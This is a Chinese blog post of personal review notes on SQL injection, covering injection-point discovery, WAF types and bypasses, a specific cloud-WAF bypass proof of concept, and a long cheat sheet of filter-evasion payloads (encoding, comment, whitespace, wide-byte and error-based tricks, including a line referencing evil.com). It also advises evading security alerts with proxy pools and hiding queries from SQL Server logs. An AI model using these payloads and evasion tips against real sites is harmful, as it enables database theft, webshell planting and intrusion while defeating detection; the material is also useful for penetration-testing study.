sql注入杂谈

sql注入杂谈以及一点点注入总结

sql注入可以说是我们基础中的基础了,很多人都是从sql注入入手的。
值得注意的是,本篇仅用于复习,并不适合“学习”,若是不知不解直接看,会有一定的困难,若是有一定的基础再来才是最好。
注入的步骤无非是寻找注入点,判断注入类型,判断注入的可利用度,判断注入的危害与自身的权限,然后进行注入。
而注入的分类主要注意以下几点。
1.注入点,从注入点尽量判断被注入的数据库的类型,注入数据的类型。
2.注入的防护措施,通过fuzzing为下一步注入提供信息。
3.实现语句拼接
4.构成危害

注入点类型分为有回显和无回显,数字型与字符型,不同的数据库类别,三部分。
首先以mysql数据库有回显为例。
    select * from user
    在输入=1’活着=1等确定注入点之后,接下来是fuzzing和语句拼接。
    目的是让返回的参数成功显示在数据包中。
    然后进行高权限尝试,若是权限足够且没有进行函数禁用,则可以拼接语句进行文件写入。
    若是只能进行数据读取,一般下一步是后台探索然后尝试进行管理员用户登陆,进一步攻击服务器。
若是无回显方式,目前常规为报错,延时,外带,布尔等方式进行注入,然后针对返回特点进行判断,数据库内容,后进行数据利用。

简单来说原理就是如此。

说一说每一步的注意事项。

在注入点的探测时,分为自动化探测与手工探测为主。
自动化探测的方式为参数变异,通过参数的特定构造形成返回值差异,从而探测注入点,有需要的话可以通过version3等级观察一下sqlmap的探测方式。
使用大规模扫描器或者sqlmap+burp可以进行一定规模的自动化注入。
缺点是有明显的注入特征,会导致安全设备报警,包括但不限于危险语句与特征user-Agent,自己使用的时候可以进行部分修改来降低报警量。
自动注入可以找到较为明显的注入点,以常规参数为主。
手工注入主要针对二次注入等,被告警几率相对小,但是效率比较低。
在使用时,若是高安全环境,我们考虑流量监测与WAF两种设备。
首先当然是WAF,不通过waf就没有获取数据等可能。
所以在信息收集阶段应当顺便针对waf进行探测,不同的waf有不同类型的弱项,盲目进行探测是没有成果的。
可以fuckcdn()

waf目前主要分为硬waf,软waf和云waf三种。
云waf,Saas模式的防护分为两种,可绕过访问与不可绕过访问。
绕过后直接访问真实IP即可绕过防护,不可绕过的是限定源IP访问等方式。
一般限定源IP想要绕过高级云WAF规则进行注入难度较高,且告警速高率,封禁速度较快,大多数情况我选择直接放弃了,这种情况下推荐优先针对地方区域进行探测,因为云WAF是三种waf中成本最高的,所以本身的覆盖面会相对低一些。部分攻击对云WAF的通过率较高,但是sql注入很难。
硬WAF是设备形式WAF,一般是用来清洗云WAf剩余流量,当然,没有云WAF当我没说。硬WAF的特点是同样是构造绕过语句难度较高,且无法进行访问绕过。但是同样是可以利用的,因为硬WAF大多数情况下会对开发条件较差的业务进行“妥协”,为了防止截断业务,可能会进行部分白名单,通常为数据包中携带特定危险词汇的业务,所以我们可以在进行探测时候针对这类的路径或者业务进行注入探测,成功率较高且报警率低。
软waf,软waf是最常见的防御性还不错的安全产品,但是由于部分软waf可以采取白盒测试等方式,且报警的反馈速度较慢,所以有需要的情况下进行直接绕过的难度是比较低的,练习成本较低。或者,常见的写入过滤也称为软WAF,这类防御方式可以通过fuzzing来得到较为完整的过滤内容,然后进行绕过。
waf的规则大多数是基于正则匹配的情况,如果能想到绕过方式的话,绕过的语句构造还是比较轻松的,有条件的可以在某些地方看看知名厂商的waf绕过方法,与其部分规则匹配方式,比较有趣。重点的话是多角度多替换,重写过滤,匹配次数,过滤转移等等。顺便一提,云waf是可以用大包过滤的,但是用在sql注入的繁琐程度不言而喻,这里对于waf的sql部分就先到这。

那么我们的起步注入点准备好了,下一步是注入。
注入也分为手工注入与自动注入两种。
显然,他们的特点与探测是相同的,差异点在于效率,告警率,无用包数量等等。当然,手工注入知道方式之后也可以通过脚本化来形成自动化注入,不过这和纯自动注入也就不一样了。
若使用手工注入,显然我们的目标是尽量不让对方发现我们探测到了注入点,那么在尝试时应当避免在一开始就使用危险的函数组合触发防御规则,比如select ,select from,where等,都是常规的过滤危险函数,不建议一上来就使用,而应当在探测足够的注入规则后再进行一次性注入,依旧推荐脚本自动化,而手工用于探测。
自动化的明显优点在于注入效率,自写脚本可以在保证效率的同时进行低报警注入。而纯自动化注入脚本,为了提高覆盖率,会采用大量的测试用例,从而导致高频报警,并且若是使用盲注方式,大量有可能影响业务,所以在使用自动化脚本注入时一般不推荐启用盲注且要配置代理池,有点类似于fuzzing。自动化注入时推荐间隔混入正常访问,可以降低被ban的比率。
多看点WAF规则等可以有效的提高书写语句的应用成功率,是提高sql注入能力的一种不错的方式。


确定可注入与注入手法后,要确定注入的目的。
1.取得数据
2.写入shell
3.利用提权

1.取得数据大多数情况下没有权限要求,并且上面的步骤已经确定可以得到,那么就数据库名,表名,用户名一步一步得到想要的数据就好了,下一步就是利用获得数据进行登陆测试,去寻找后台或者高权限账号的利用点。
2.写入shell的两点要求,一是写入的权限,二是写入的绝对路径。然后进行写入,写入函数也有部分替代,但是很多情况下权限不足或者得不到绝对路径,所以利用难度较高。但是若是权限足够,不仅仅可以写入shell,对于注册表,任意文件读写,都是可以的,主要还是当前的服务器环境与目前的权限等级。
3.主要是mysql和sqlserver,利用文件读写,命令执行或udf等方式进行提权。

由于各种数据库等指令,类型特征,权限限制也是不同的,所以整体的知识面比较大,通过初步判断后使用工具进行注入是目前比较常规且优秀的手段,但是要注意上面提到的自动化工具的缺点。
接下来简单说一说注入的各种类型手段与分类。

注入点,从原理上来说,任何可以和数据库进行数据交互的地方都可能存在注入。
一般是处于get参数,post参数与cookie等常见交互位。
注入点类型分为数字型,字符型,搜索型,内联型,终止型。
注入的方式分为有回显无回显两种,有回显先探索回显点然后产生数据返回,无回显进行数据外带尝试或者进行爆破盲注判断。
再具体的注入手法的分类就不细说了,下面例子基本全部涉及。

下面部分是由一部分为sql注入形式的CTF题目,几种WAF的绕过,以举例来实际体验一下注入的获取和绕过。
这里就不提供靶场了,提供绕过部分源码,部分提供思路,有需要的朋友请自己搭建靶场吧。


CTF部分
CTF的题目对整体的知识面要求较高,偶尔会出现非常规的注入绕过手段。
CTF的非白盒常规注入。
1.寻找注入点
2.fuzzing
3.脚本化
注入点一般虽然隐藏,但是基于“一定有解法”的思维,所以可以大胆尝试各类型注入。
并且没有防护,fuzzing也不会收到任何影响。
但是偶尔会在fuzzing后出现包括但不限于php字符串格式化逃逸漏洞等,由于我本身研究也不够深入,所以知道的也不多,有需要的师傅可以自己总结。
来点常规注入类型:
1.UNION注入
2.报错查询注入
3.布尔注入
4.延时注入
5.堆叠注入
6.二次注入
7.宽字节注入
8.cookie,xff,base64注入
常见绕过
1.大小写
2.双写
3.编码
4.注释
5.替换
6.HTTP污染
7.内联
9.无列名
10.判断列数
11.with rollup
12.比较符
13.逗号,单引号
部分替换和绕过总结在下面,上面有含义重复是因为部分替换比较常见,所以单独写了写。
由于目前做的题比较少,没有遇到属于sql注入的较为难的题目,之后遇到了再加入。


WAF这里有软硬WAf例子,但是有的比较老了,看个思路吧,有的找不到复现环境hhh
以下来自我看文档后的总结
腾X云WAF
    该waf匹配拦截时不是全部匹配,举例:
        union+select会拦截
        selcet+from会拦截
        union+from不会拦截
    所以这类waf我们的思路就是将select绕过,select绕过不仅仅可以在select加花也可以用select all等去替代select,这里注意的是并不是单独检测selcet,而是union+select会被检测。
    先说结论,结论是union+123456select会被检测,而union+123456selectall没有被检测,
    作者这里使用了%0a会被直接忽略的特性进行了select%0aall的拼接
    而若进行%0a忽略会进行一次检测,所以使用123456%0aselect%0aall的方式反而会被检测,123456select%0aall的方式没有被检测。
    union/*50000select%0aall*/username from users%23
    便形成了POC,很有趣的特性。
总来说,白盒waf绕过相对轻松,黑盒waf需要fuzzing的较为全面为好,并且可以在fuzzing时候尝试一些组合,因为大多数的waf不会去做单关键词匹配,耐心很重要,多种方式结合的话会有比较好的效果,把黑盒变成白盒是最好的绕过方式。
值得一提的是虽然大流量有爆破waf防护上限的能力,但是非特殊情况不推荐使用。
在注入时令注入语句贴合环境会有意想不到的效果,当然,这样的业务一般存在于内网,漫游时候可以注意一些,用来防止流量探测导致的暴露。

接下来是一点点总结
过滤and or
    or -> ||
    and -> &&
    xor -> |
    not -> !
    十六进制
    or -> o\x72
    大小写
    双写
    编码
    内联
    /*!or*/
    /*!and*/
    但是很多情况下and和or不是必需品,所以可以放弃。
过滤数字
    使用浮点型
左右括号
    编码绕过(urlencode,hex,unicode,ascii(chr))
过滤union/select
    逻辑绕过
    union select * from users
    1 && (select * from users where userId=1)='admin'
    十六进制绕过
    大小写
    双写
    内联
    编码
过滤空格
    用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
    绕过空格注释符绕过//--%20/**/#--+-- -;%00;
    MYSQL
    09,0A,0B,0B,0D,A0,20
    PosgressSQL
    0A,0D,0C,09,20
    Oracle_11g
    00,0A,0D,0C,09,20
    MSSQL
    01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
    特殊符号绕过
    ` + !
    unicode编码
    %u0020 %uff00
    %c0%20 %c0%a0 %e0%80%a0
    值得一提的是mssql是要求松散,部分情况用单引号可以不用空格,能解析就不报错。
过滤=
    like
    in
过滤<>
    select * from users where id=1 and ascii(substr(database(),0,1))>1
    select * from users where id=1 and greatest(substr(database(),0,1),64)=64
过滤where
    1 && (select * from users where user_id=1)="admin"
    1 && (select * from users limit 1)="admin"
过滤limit
    1 && (select * from users limit 1)="admin"
    1 && (select * from users group by user_id having user_id=1)='admin'
过滤group by
    1 && (select * from users substr(group_concat(user_id,1,1) user from users) )=1
过滤select
    1 && substr(user,1,1)=1
过滤单引号
    逻辑绕过
    1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)
    宽字节绕过
    %bf%27 %df%27 %aa%27
过滤逗号
    用from to代替
    selectsubstr(database(0from1for1);selectmid(database(0from1for1);
    select*fromnews limit0,1# 等价于select*fromnews limit1offset0
过滤hex
    substr(user,1,1)=unhex(61)
    substr(user,1,1)=lower(conv(11,10,16))
过滤substr
    substr(user,1,1)=lower(conv(11,10,16))
    Ipad(user(),1,1) in 'r'
编码绕过
    or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
    十六进制编码
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    双重编码绕过
    ?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
等价函数(或者变量)
    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()
    举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 
    或者:
    substr((select 'password'),1,1) = 0x70
    strcmp(left('password',1), 0x69) = 1
    strcmp(left('password',1), 0x70) = 0
    strcmp(left('password',1), 0x71) = -1
生僻函数
    MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          
    ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
    SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
    ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
    and extractvalue(1, concat(0x5c, (select user()),0x5c))
NULL过滤
    可以用\N替代填充,但是一般来说这个过滤很少
PCRE绕过
    PHP 的 pcre.backtrack_limit 限制利用
    union/*aaaaaaaxN*/select

奇怪的小知识:
SQL Server 日志不会记录-sp_password选项请求内容,使用时可以携带用来防止留下查询痕迹,配合POST请求不在web端留下痕迹。
目前常用的还有带外攻击,因为效率高于盲注所以在使用盲注前可以优先考虑。
有些数据库存在特殊表,应特殊关注,但是太多了所以记录不下来了。


posted @ 2021-08-08 18:25  HOloBlogs  阅读(153)  评论(0)    收藏  举报